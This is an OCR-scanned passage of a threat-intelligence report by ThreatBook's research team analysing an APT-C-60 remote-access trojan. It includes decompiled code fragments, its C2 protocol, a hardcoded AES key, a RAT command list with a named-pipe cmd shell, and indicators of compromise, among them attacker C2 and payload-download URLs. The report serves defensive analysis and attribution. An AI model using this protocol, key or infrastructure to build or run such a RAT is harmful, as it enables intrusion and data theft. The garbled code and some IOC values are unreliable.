1
= Big4;
= 15i64;
[e] = &;
= 0i64;
= 15i54;
-8
= @i64;
2 o= 15ig4;
-8
cub_TFEFEDBF778(al, w14, v5);
sub_7FEFODBSTEA( 'H

The working thread is composed of five independent threads which respectively complete
the corresponding functions: task request, result feedback, screen monitoring, file stealing,
RAT.
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if ( !*(al + @x3FC8) )
*(al + Ox3FC8) = (*(al + Ox910))(0i64, 1i64, 0i64);// CreatEvent
if ( 1*(al + @x3FFB) )
f o)
v3 = 3@011;
*(al + @x3FF@) = (*(al + 2296))(@i64, @i64, sub_7FEF@DBAASE, al, @, &3);// HENMEMENER info]» cacki, FEIFER

if ( 1%(a1 + ex3FDO) )
*(al + Gx3FDR) = (*(al + ©x910))(0i64, 1i64, 0i64);
if ( 1%(al + BX3FFS) )

3 = @xX753C;
*(al + Ox3FF8) = (*(al + 2296))(0i64, @i64, sub_7FEFeDBS8BO, al, @, &3);// EEMAFITE R [result]Elcac
}
if ( !®(al + Bx3FB3) )
*(al + @x3FB8) = (*(al + Bx910))(0iGd, 1i64, Bi64);
if ( !*(al + Bx3FEQ) )
{
3 = @x753D;
*(al + Ox3FE@) = (*(al + OxBFB))(0i64, ©i64, sub_7FEFEDBBCCO, =1, @, &v3);// BEBEGE

¥
if ( !®(al + Bx3FCO) )
*(al + BX3FCO) = (*(al + 2320))(@i64, 1i64, Bi64);
if ( 1*(al + @x3FES) )
{
3 = 30014;
*(al + Ox3FEB) = (*(al + 2296))(@i64, @i64, sub_7FEFeDBISER, al, @, &3);// REMEEXFRCAMNE ., BEXRSD, L#

if ( !*(a1 + Bx3FD8) )
*(al + @x3FD8) = (*(al + €x910))(0i64, 1i64, 0i64);
if ( !1%(al + ox4000) )

3 = 30015;
*(al + @x4880) = (*(al + 2296))(Pi64, @i64, sub 7FEFEDBGRE®, a1, @, &3);// CRCIES HEITT

¥

return 1i64;

The debugging environment Trojan online packet is as follows.

POSTHTTP/1 1

Content-Type: application/x-www-form-urlencoded, charset=UTF-8
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/s.0)
Host: 160.20.147.118

al001=85h84efdhb112465h0568c80214d3caa&al02=82829307d33d1a103a918acalb39b330&a00
3=uid&al04=N81X

The data in the body with the form of “a001=&a002=&a003=&a004="is partially parsed as
follows.
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Field Description
al01 md5("U12"), fixed value, can be used to identify Trojan moderator
mdb(O3 original installation data+HostName+UserName), can be used to
al02 . . =
identify Trojanized host
Identify the current http session function, such as “uid” to identify Trojan
al03 heartbeat packet, “info” to identify the sent data related to Trojanized host
information, etc.
basebd{RC4_Encrypt{data)), RC4 encrypted, basebd encoded data. The encrypted
al04 data varies according to the a003 field, when
al03="uid",a004=base64(RCAdecrypt("U12"))=NE1X

There are also post data packets of “b001=&b002=&b003=&b004=",
“c001=&c002=&c003=&c004=" type in the Trojan communication, which respectively
represent to parse the URL issued by the C&C for downloading action and file uploading. In
the file uploading part, there are some differences in the processing of screenshot files and
file content: the screenshot files are encoded by base64 and converted to decimal strings;
the file content is first encrypted with RC4 and then converted to decimal strings.

do

+HuE;
while (
memcp_sub_7FEFRDB2148(
sub_T7FEFRDCRCCR(

if (

uploadpicture

Basetd4Encode_sub_FFEFBDCAETR(al + 18928, vi7, : };

do

{

h
while (

while { 1)

{

memset(

if ( H(*(
goto LABEL_S54;

Rcddcrypt_sub_7FEFBDCAS3E(

do

{

LOBYTE(

}

;hil: {

L BwA 4 Ou3R;

I/ to nusbers

+ 16288));

, *{al + 16288), Rvé4, @i64) )// ReadFile

+ 9864, s WB4);

upload file content

/ BxA);
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By parsing C&C commands, the RAT distribution thread can achieve the functions such as
file directory traversal, disk information acquisition, process termination, DLL loading,
screenshot, downloading, process execution, file or directory deletion and cmd shell.

The full RAT parsing is as follows.

Command Function

cd Enter the specified directory

ddir Acquire file information in the directory
diskinfo Acquire disk information

ddel Delete the file or directory
procspawn Execute the process

proclist Acquire the process list

prockill Kill the process

Id Load dll

attach Load dll

detach Uninstall dll

download Download and decrypt AES
downfree Parse and download URL resource
screenupload Upload screenshot

screenauto Automatic screenshot

upload Activate file stealing thread

cancel cmd shell

Support encrypted file download. The download file landing path is temp%\wcts66889.tmp,
which needs to be decrypted by AES. AES128 key={21 A4 47 12 68 5A 8B A4 29 85 78 3B

67 88 39 99},
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15 a[e] = ex827C7480;
1 12[1] = @xD15933C2;
17 18[2] = exAB472B34;
18| vie[3] = exB969TI6;
5 11[8] = @x12474421;
2 11[1] = PxA48BSAGSE;
21| wvil[2] = ex3B788529;
22 [3] = @x99398867;

if ( !(a1[26@])(21, @i64, "Microsoft Enhanced RSA and AES Cryptographic Provider”, 24i64, exFeegeeee) )// CryptAcquireContextA
return @ic4;

2 mal +1;

if ( 1(a1[261])(*al, ©xB0@4i64, Bi64, @i64, a1l + 1) )// CryptCreateHssh: CALG_SHA
goto LABEL_7;

B OBI RS R R B B
RTRYRESRNR

3 = (al[262])(*v2, 2, Bx1eis4); /! CryptHashData
4 = al[l];
iF (v )
31| {
32 if ( !v4 )
33 goto LABEL_7;
34 5 = al[1];
35 goto LABEL_6;
sl }
37 vy = al + 23

38| if ( !(a1[263])(*al, Ox66@Ei64, 4, OxBAA060i64, al + 2) )// CryptDeriveKey,CALG_AES_123
39| {

5 = *y2:

41 5 ("2 )
42|LABEL_6:
43 (al[267])(v5); // CryptDestroyHash
44|LABEL_7:
as|  if ( *a1)
(a1[288])(*al, @is4); // CryptReleaseContext

return 8i64;

}
(al[264])(*v7, 3i64, 8vE);
{a

BT, I, B N Y
] o

1[264])(*v7, 1i64, vil); /f CryptSetKeyParam: {21 A4 47 12 68 5A 8B A4 29 85 78 3B 67 88 39 99}
¥ |

(a1[264])(*v7, sies, &v9);

return *v7;

The C&C receives shell, transfers it through the local named pipe “\.\pipe\async_pipe”, and
then executes it starting with cmd.

71[@] = xmmword_7FEF@DEF9AG;
v71[1] = xmmword_7FEF@DEF9B6;
V72 = Bx6500708869164;

24;

@ica:

1;

vl (*(al + ©x8D8))(v71, exdpoeeeelicd, ©ie4, 1i64, 4096, 4896, 120000, &v48);// CreateNamedPipel: \\.\pipe\async_pipe
if ( viE == -1 )

goto LABEL_24;

19 = (*(al + @x838))(v71l, Gx40000RERi64, 0i64, &v43, 3, 128, @i64);// CreateFilew

58

Association Analysis

This sample is basically the same as the execution process of the landing payload in the
previous APT-C-60 attack. The third-stage component TaskControler.dll is the same as the
historical attack with same export function and same code behavior and communication
process. The following figure is a screenshot of the historical attack time analysis of the APT-
C-60, in which the forgery payload component directory and payload traversal loading logic
in the DLL payload export function “extension”, “%AppData%\Roaming\Microsoft\” are
exactly the same. Therefore, it is more credible to attribute this attack sample to APT-C-60.
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del_180003299(0, &.52,
sprintf_lseed3sFe(g a0,

s BiB4);
ex12Cuisa, )

del_1B80003290(8, &.41,
16 = InternetOpenk( §

, BiE4);

sprintf_156001086(&0:
uploadData_150804D10(
uploadData_180884D18(
}
}

}
while { FindNextFilew(hFind

t, Bxl4, "¥82d°,

7, Bi64, @iss, @);
1544);

16, v32, 8v3B, #6, BDest,
16, v33, &v38, a6, RDest,

/f (Program Files)

streat_sprintf_180005388(. 25, Rvan, B 4);:
do
-
if ( {1eDsta. dwFileAttributes & @x10 ) RS LRE
sprintf_18eee3cFa(f.4c, exieduiss, L-[%s]", ! eData.cFileName) ; hash:8DESBD479A3239F6|
if ( strcat_sprintf_186085380( » Bva@, Bv3B, Buffer, v34) == 1 )
174BEEF56DE406E2

le, BFindFileDat

1) );

/5 Mhttp://185.145.97 .62/cache/A28ghttps://bitbucket.org/sorakas/mod/downloads/1932.bmpEght
tps://bitbucket.org/sorakas/mod/downloads/1964.bmpit T EHI{HRFEI % userprofile%\\Appdata\\R
BENEHEAASHEE extensionthiT] (BET

oaming\\Microsoft\\Network\\Files\\combases.db,

HisEHERW) .

Quoted from https://www.secrss.com/articles/36606

Appendix - 10C

C2
131.226.4.22:80

160.20.147.118:80
162.222.214.50:80
185.145.97.62:80
185.207.206.108:80
82.221.129.104:80

82.221.136.60:80

URL

http://185.145.97.62/temp/cheack.php
http://131.226.4.22/manager/JxQpe5T2nCn747UP.bmp

http://185.145.97.62/cache/A1
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https://www.secrss.com/articles/36606
http://185.145.97.62/temp/cheack.php
http://131.226.4.22/manager/JxQpe5T2nCn747UP.bmp
http://162.222.214.50/temp/sourcea.php
http://185.145.97.62/temp/cheack.php
http://185.145.97.62/cache/A1

http://185.145.97.62/cache/A2 http://185.207.206.108/premium/P1/WHZAZVRYVJTN.bmp
http://82.221.129.104/k0201.txt http://82.221.129.104/k0201jo.txt
http://82.221.136.60/ping/a22.txt
https://160.20.147.118/a78550e6101938c7f5e8bfb170db4db2/command.asp
https://160.20.147.118/a78550e6101938c7f5e8bfb170db4db2/result.asp
https://bitbucket.org/grand9_neat/well/downloads/19132.bmp
https://bitbucket.org/grand9_neat/well/downloads/19164.bmp
https://bitbucket.org:443/grand9_neat/well/downloads/19164.bmp
https://bitbucket.org/miravos/style/downloads/1932.bmp
https://bitbucket.org/miravos/style/downloads/1964.bmp
https://bitbucket.org/sorakas/mod/downloads/1932.bmp
https://bitbucket.org/sorakas/mod/downloads/1964.bmp
https://c.statcounter.com/12733057/0/f9b868f1/1/
https://c.statcounter.com:443/12733057/0/f9b868f1/1/
https://c.statcounter.com/12557354/0/adafede4/1/
https://c.statcounter.com/12557356/0/d8c85be6/1/

Hash

13f09fd98259e6636e523fb8254cf9e8b5c562605dbf826cf2fc3ae57ed09c77
266ee1b357cad72a1a9d0a1a6f7d3f0a53fce60b885ba0983a20d813¢c22b3009
74b34adf28552f380163346¢151c7dfdcac70e5df2187374113b891e7740ad91
7c4fb90eeb997555dc5d4c1ccbe26a5ae1a3cdadef5571eb3a83c4ac50ffd906
7ec34297e0c4e5b1bb315be24d7259211ab658112dc0f9d6d7271544187244e0
92912bfb10b475958ab1bae510be6829c2eb11b8eb5fd365321db642457328da
9bb60e54c09934c559¢7dc0bb0eb0527a7e2e066cd1c452ed4f4519025d1f9b0
a995f4e4e5bec985ea974dac2a65056e7ab9f2b80430d94857530bedef5e74f6
b2dd50760765abfbed0a7db480d4429228b165cb23b720d11abc4390c30a26fc
bc879fe3e928ca9c1de4b9a600716f2076e6ce371313255797fb312cfof7dd04
bffacbbOb54a3b1dd6f25686d2486d0a064f5e8eedefb4e572740f7b63badfas

dbc1754de49824d25ef6d9cc338512a61d56ec14363355e68acfc6f450c2c0e4
e869e82a9f44d81b272e53b449da7c8c4a667cf26dea8dee67086726ab22c500
edec420761cd95ba706c9f50f29bbb76786d5279c4ada162f513e0cb1fa4cf84
ee862a3d57e45a2b29da%e74987016061e225df71a558c6a42f0819cc7496664
f50cd82717837a5b5fb985c8f080fa3d5cabb05b146aed14e3810ae90fb37e01

File Path

%appdata%\Microsoft\Vault\UserProfileRoamings
%appdata%\Microsoft\Vault
%appdata%\Microsoft\Internet Explorer\UserData
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http://185.145.97.62/cache/A2
http://185.207.206.108/premium/P1/WHZAZVRYVJTN.bmp
http://82.221.129.104/k0201.txt
http://82.221.129.104/k0201jo.txt
http://82.221.136.60/ping/a22.txt
https://160.20.147.118/a78550e6101938c7f5e8bfb170db4db2/command.asp
https://160.20.147.118/a78550e6101938c7f5e8bfb170db4db2/result.asp
https://bitbucket.org/grand9_neat/well/downloads/19132.bmp
https://bitbucket.org/grand9_neat/well/downloads/19164.bmp
https://bitbucket.org/grand9_neat/well/downloads/19164.bmp
https://bitbucket.org/miravos/style/downloads/1932.bmp
https://bitbucket.org/miravos/style/downloads/1964.bmp
https://bitbucket.org/sorakas/mod/downloads/1932.bmp
https://bitbucket.org/sorakas/mod/downloads/1964.bmp
https://c.statcounter.com/12733057/0/f9b868f1/1/
https://c.statcounter.com/12733057/0/f9b868f1/1/
https://c.statcounter.com/12557354/0/adafe4e4/1/
https://c.statcounter.com/12557356/0/d8c85be6/1/

%AppData%\Microsoft\HTML Help\

Appendix -ThreatBook Intelligence Research and Response Team

ThreatBook Intelligence Research and Response Team is responsible for Threatbook’s
online security analysis and security services. They’ve been constantly focusing on threat
intelligence automation research and development, advanced APT Organization & Black
product research and tracking, malicious code and automatic analysis technology, critical
incident emergency response, etc. .

The team is made up of senior experts in Trojan Horse Analysis and forensics, Web attacks,
traceability, big data, Al and other security technologies, and through automated intelligence
production system, cloud sandbox, hacker portrait system, threat hunting system, tracking
source system, threat perception system, big data association knowledge map and other
self-developed systems, real-time automatic analysis, homologous analysis and big data
association analysis are carried out on Threatbook’s daily added million-level sample files,
million-level urls, PDNS, Whois data. Since its establishment, the team has been pioneering
in detecting targeted attacks by dozens of high-level foreign APT organizations targeting
China’s critical infrastructure and industries such as finance, energy, government and high-
tech, assisted hundreds of leading clients in various industries in the handling of the
WannaCry BlackTech targeted attacks on our securities and high technology, the sea lotus
long-term targeted attacks on our maritime/high technology/financial operations, and the
OLDFOX targeted attacks on hundreds of mobile phone industry-related enterprises
nationwide.
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